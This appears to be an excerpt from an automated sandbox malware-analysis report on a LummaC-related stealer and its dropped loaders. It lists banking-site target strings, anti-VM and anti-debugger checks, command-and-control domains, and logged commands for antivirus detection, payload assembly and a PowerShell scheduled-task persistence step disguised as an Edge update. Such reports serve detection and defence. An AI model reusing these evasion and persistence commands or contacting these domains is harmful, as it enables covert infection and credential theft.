Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4r
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: f10455927a.exe, 00000017.00000002.2257273634.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW T
Source: oaBqkImU6R.exe, 00000001.00000002.1578764079.00000000013E1000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1429250841.00000000013E1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.000000000437D000.00000004.00000800.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8b5cf17642.tmp, 0000001B.00000002.2352699061.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 8b5cf17642.tmp, 0000001B.00000002.2352699061.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000003.1458724259.0000000005D14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p
Source: oaBqkImU6R.exe, 00000001.00000003.1574076897.0000000006597000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1578158267.00000000003AB000.00000040.00000001.01000000.00000003.sdmp, PT6MNTDM2CSK3U9W2989W1J.exe, PT6MNTDM2CSK3U9W2989W1J.exe, 00000003.00000002.1631777767.0000000000AEE000.00000080.00000001.01000000.00000006.sdmp, PT6MNTDM2CSK3U9W2989W1J.exe, 00000003.00000000.1575448442.0000000000AEC000.00000080.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000004.00000000.1620967974.0000000000E3C000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000004.00000002.2802885340.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000000.1634170908.0000000000E3C000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000002.1691104659.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp, f10455927a.exe, 00000017.00000002.2254854481.0000000000379000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2296724285.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001113000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: oaBqkImU6R.exe, 00000001.00000003.1458724259.0000000005D14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NVMware2
Source: Avoiding.com, 00000015.00000002.2804888253.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: oaBqkImU6R.exe, 00000001.00000002.1578764079.0000000001398000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@[>
Source: PT6MNTDM2CSK3U9W2989W1J.exe, 00000003.00000002.1631777767.0000000000AEE000.00000080.00000001.01000000.00000006.sdmp, skotes.exe, 00000004.00000002.2802885340.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000002.1691104659.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000018.00000002.2296724285.0000000000E3E000.00000080.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the d
Source: oaBqkImU6R.exe, 00000001.00000003.1574076897.0000000006597000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1578158267.00000000003AB000.00000040.00000001.01000000.00000003.sdmp, PT6MNTDM2CSK3U9W2989W1J.exe, 00000003.00000000.1575448442.0000000000AEC000.00000080.00000001.01000000.00000006.sdmp, skotes.exe, 00000004.00000000.1620967974.0000000000E3C000.00000080.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000000.1634170908.0000000000E3C000.00000080.00000001.01000000.00000009.sdmp, f10455927a.exe, 00000017.00000002.2254854481.0000000000379000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.2235631270.0000000000E3C000.00000080.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Code function: 3_2_05130DC6 rdtsc

3_2_05130DC6

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_0093652B mov eax, dword ptr fs:[00000030h]	3_2_0093652B
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_0093A302 mov eax, dword ptr fs:[00000030h]	3_2_0093A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C8A302 mov eax, dword ptr fs:[00000030h]	4_2_00C8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C8652B mov eax, dword ptr fs:[00000030h]	4_2_00C8652B

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: finickypwk.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shoefeatthe.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: savorraiykj.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: kickykiduz.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: miniatureyu.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: leggelatez.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: washyceehsu.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bloodyswif.lat
Source: f10455927a.exe, 00000017.00000003.2223835112.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: breakfasutwy.cyou

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe "C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe "C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe "C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 36469	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Geographic	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "TEAMS" Mw	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 36469\Avoiding.com + Hood + Centered + Collectors + Visual + Additionally + Celebration + Flesh + Ventures + Waters 36469\Avoiding.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Characterized + ..\Entries + ..\Arbitration + ..\Put + ..\Comics + ..\Japanese L	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com Avoiding.com L	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 764661
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Fm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Tunnel" Addresses
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com Macromedia.com F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:sync c:\users\user\appdata\roaming\uxtheme_2.drv\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{6d027233-3291-42ee-96a1-b6ef95549711}' -description 'microsoftedgeupdatetaskmachineua' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries -executiontimelimit 0) -runlevel highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:sync c:\users\user\appdata\roaming\uxtheme_2.drv\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{6d027233-3291-42ee-96a1-b6ef95549711}' -description 'microsoftedgeupdatetaskmachineua' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries -executiontimelimit 0) -runlevel highest"

Source: Avoiding.com, 00000015.00000000.1891276073.0000000000B13000.00000002.00000001.01000000.0000000D.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000002.2783563600.0000000000333000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: oaBqkImU6R.exe, 00000001.00000002.1578158267.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: pProgram Manager
Source: PT6MNTDM2CSK3U9W2989W1J.exe, PT6MNTDM2CSK3U9W2989W1J.exe, 00000003.00000002.1632043003.0000000000B2F000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000004.00000002.2805041634.0000000000E7F000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: $?NProgram Manager
Source: f10455927a.exe, 00000017.00000002.2254854481.0000000000379000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8wProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 4_2_00C6DD91 cpuid

4_2_00C6DD91

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
